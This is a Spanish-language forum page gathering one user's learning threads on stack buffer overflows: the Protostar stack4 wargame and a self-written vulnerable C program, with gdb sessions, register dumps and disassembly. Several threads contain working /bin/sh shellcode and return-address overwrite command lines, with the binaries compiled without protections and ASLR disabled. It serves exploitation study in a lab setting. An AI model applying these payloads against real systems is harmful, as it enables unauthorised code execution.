Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - kr0m_

#1
Bugs y Exploits / Protostar-Stack4 wargame
4 Agosto 2015, 20:34 PM
Hola, estoy intentando resolver los wargames de protostar:
https://exploit-exercises.com/protostar/stack4/

El problema reside en que intento sobreescribir el EIP con la dirección de memoria de la función win, pero antes debo calcular el padding a introducir:
python pattern.py create 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Lo guardo en un fichero para utilizarlo desde gdb:
vi string
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Cargo el programa:
gdb stack4
(gdb) run < string
Starting program: /root/protostar/stack4 < string
Program received signal SIGSEGV, Segmentation fault.
0x0804846a in main ()
quit

Calculo el padding pero....:
python pattern.py offset 0x0804846a
hex pattern decoded as: j
ERROR: Invalid input offset.

Si traduzco el valor del EIP mediante la siguiente web:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
„j


También he intentado "brute-forcear" el padding del siguiente modo:
for i in $(seq 64 128); do echo -e "Padding: $i" && perl -e 'print "A"x'${i}' . "\x2b\x84\x04\x08"'| ./stack4 && echo -e "\n"; done

Mi sistema operativo es Debian(x86/32bits) y tengo deshabilitada la aleatorización de las direcciones de memoria:
cat /proc/sys/kernel/randomize_va_space
0

El binario fue compilado del siguiente modo:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4

No entiendo porque el EIP no es sobreescrito con el valor correcto, cualquier pista/sugerencia será bienvenida.

Un saludo.
#2
Bugs y Exploits / Ejecución diferente dentro GDB
5 Septiembre 2014, 14:01 PM
Hola, estoy depurando un programilla escrito en C para aprender el funcionamiento básico de los buffers overflows, lo cargo en GDB, lo corro y consigo ejecutar la shellcode con el resultado esperado, en cambio si meto un brakpoint y voy instrucción a instrucción el resultado es diferente:

(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff700.
   buff_b is stored at 0xbffff6e8.
   buff_c is stored at 0xbffff6c8.
process 4734 is executing new program: /bin/dash
$


Con breakpoint:
-- Desensamblo la función para saber donde me interesa meter el breakpoint:
(gdb) disassemble func
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
   0x08048531 <+133>:    leave
   0x08048532 <+134>:    ret   
End of assembler dump.

-- Meto el breakpoint:
(gdb) break *func+133
Breakpoint 1 at 0x8048531

-- Vuelvo a ejecutar el programa:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff700.
   buff_b is stored at 0xbffff6e8.
   buff_c is stored at 0xbffff6c8.

Breakpoint 1, 0x08048531 in func ()

-- Compruebo que estoy ejecutando la instarucción donde metí el breakpoint:
(gdb) disassemble
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
=> 0x08048531 <+133>:    leave
   0x08048532 <+134>:    ret   
End of assembler dump.

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff6b0    0xbffff6b0
ebp            0xbffff728    0xbffff728
esi            0x0    0
edi            0x0    0
eip            0x8048531    0x8048531 <func+133>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

-- Avanzo una instrucción:
(gdb) stepi
0x08048532 in func ()

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff72c    0xbffff72c
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0x8048532    0x8048532 <func+134>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

-- Consulto por que parte del código voy:
(gdb) disassemble
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
   0x08048531 <+133>:    leave
=> 0x08048532 <+134>:    ret   
End of assembler dump.

-- Avanzo una instrucción:
(gdb) stepi
Cannot access memory at address 0x43434347

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff730    0xbffff730
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0xbffff6c8    0xbffff6c8
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

Porque ejecutándolo sin breakpoints corre ok pero step a step no con la misma entrada? El debugger me cambia algo, posiciones de memoria, valores de registros....?

El código en C del programa es:
#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("   buff_a is stored at %p.\n", &buff_a);
    printf("   buff_b is stored at %p.\n", &buff_b);
    printf("   buff_c is stored at %p.\n", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]);
        exit(0);
    }
   
    func(argv[1], argv[2]);
    return 0;
}

Un saludo.
#3
Bugs y Exploits / Problema buffer overflow
27 Agosto 2014, 11:17 AM
Hola, soy novato en estos temas del reversing y estoy experimentando con programas muy sencillos con tal de comprender el funcionamiento de estas técnicas, intento realizar un bufferoverflow que me permitirá a su vez ejecutar una shellcode, debo indicar que se trata de x86(32bits), se ha deshabilitado el aslr y se ha compilado el binario deshabilitando las medidas de seguridad de gcc:
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack

El código en sí es este:

#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("   buff_a is stored at %p.\n", &buff_a);
    printf("   buff_b is stored at %p.\n", &buff_b);
    printf("   buff_c is stored at %p.\n", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]);
        exit(0);
    }
   
    func(argv[1], argv[2]);
    return 0;
}


Mediante GDB compruebo que metiendo un entrada demasiado larga el buffer efectivamente se desborda sobreescribiendo el EIP:

(gdb) run `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()



Lo vuelvo a desbordar pero esta vez dejando en la primera variable mi shellcode:
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()


Si miramos el contenido de la memoria en posiciones cercanas al ESP podemos distinguir nuestra shellcode:
(gdb)  x/128x $esp-128
0xbffff6c0:   0xbffff710   0xbffff6d8   0x00000017   0xbffff774
0xbffff6d0:   0x08048230   0xbffff768   0x6850c031   0x68732f2f
0xbffff6e0:   0x69622f68   0x50e3896e   0xb0e18953   0x4180cd0b
0xbffff6f0:   0x41414141   0x41414141   0x41414141   0x42424242


Sobreescribo el EIP con la dirección donde se encuentra la shellcode:

(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.

Program received signal SIGILL, Illegal instruction.
0xbffff706 in ?? ()


(gdb) info registers
eax            0xfffffff2   -14
ecx            0xbffff739   -1073744071
edx            0x35   53
ebx            0xbffff738   -1073744072
esp            0xbffff72c   0xbffff72c
ebp            0x43434343   0x43434343
esi            0x0   0
edi            0x0   0
eip            0xbffff706   0xbffff706
eflags         0x10282   [ SF IF RF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x33   51




Se puede observar que el EIP ha sido sobreescrito con el valor 0xc0bff6ff y no con 0xbffff6e8 que es donde se encuentra la shellcode, la dirección donde se encuentra la shellcode doy por hecho que es correcta ya que examinando el contenido de la pila y con el printf de debug las dos direcciones coinciden.

Es algo extraño ya que el EIP se sobreescribe con 0x44444444 que corresponde a los carácteres DDDD cuando ejecuto:
(gdb) run `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()


En cambio cuando se intenta sobreescribir con 0xbffff6d8 termina con 0xbffff706:
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`

Program received signal SIGILL, Illegal instruction.
0xbffff706 in ?? ()

Alguien podría iluminarme? llevo varios días loco detrás de este programilla y me está volviendo loco, ya no se si es que entendí algún concepto incorrectamente o si hay alguna limitación por parte de GDB en cuanto acceso a direcciones de memoria....